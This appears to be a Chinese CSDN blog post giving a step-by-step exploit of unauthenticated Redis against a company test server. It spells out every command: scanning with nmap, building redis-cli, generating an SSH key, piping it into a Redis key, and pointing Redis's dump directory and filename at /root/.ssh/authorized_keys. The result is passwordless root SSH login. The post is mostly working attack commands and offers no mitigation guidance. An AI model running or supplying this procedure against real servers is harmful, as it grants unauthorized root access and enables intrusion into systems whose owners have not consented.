redis未授权访问漏洞利用

参考:https://blog.csdn.net/guxiaoguo/article/details/78913245

利用条件:linux,对方开启ssh

用到的工具:kail nmap redis

公司测试服务器:10.0.3.45

redis默认端口:6379

主要思路:利用redis未授权访问命令给root账户写入SSH公钥文件,然后通过SSH登录服务器

nmap扫描

使用命令:nmap -sV -p 1-65535 10.0.3.45

-sV 识别服务,很有用

-p 1-65535 全端口扫描

发现6379端口开启

若kail上没有redis,可以先利用wget下载下来,并解压,我这里用的是2.8.12

下载命令:wget http://download.redis.io/releases/redis-2.8.12.tar.gz

解压命令:tar -xzf redis-2.8.12.tar.gz

到所在目录中安装:make

完成安装后会提醒:

换到此目录中:cd /root/redis-2.8.12/src

连接

命令:./redis-cli -h 10.0.3.45

可以通过info查看一些信息。

接下来写入ssh公钥

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

首先在自己的kail中生成一个key。

进入/root/.ssh目录:cd /root/.ssh

生成key命令:ssh-keygen -t rsa

查看生成的文件

将公钥导入key.txt文件中(前后用\n换行,目的是避免和redis里的其他数据混合,造成乱码),再把key.txt文件内容写入目标主机的缓冲里:

命令:(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt

此时切换回redis的目录,将key.txt文件内容写入到目标主机的缓冲中

cd /root/redis-2.8.12/src

cat /root/.ssh/key.txt | ./redis-cli -h 10.0.3.45 -x set xxx

连接目标主机的redis,设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

连接目标主机命令:./redis-cli -h 10.0.3.45

设置备份路径:config set dir /root/.ssh

保存文件名:config set dbfilename authorized_keys

可以看到写入的公钥

get xxx

然后将数据保存在服务器硬盘中并退出

save

exit

此时用ssh远程连接:

命令:ssh 10.0.3.45

可以看到已经不用密码就可以远程登录了(在没有经过这些操作前,进入ssh是需要输入password的)

可以进入/root/.ssh目录,简单看一下authorized_keys的文件内容

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值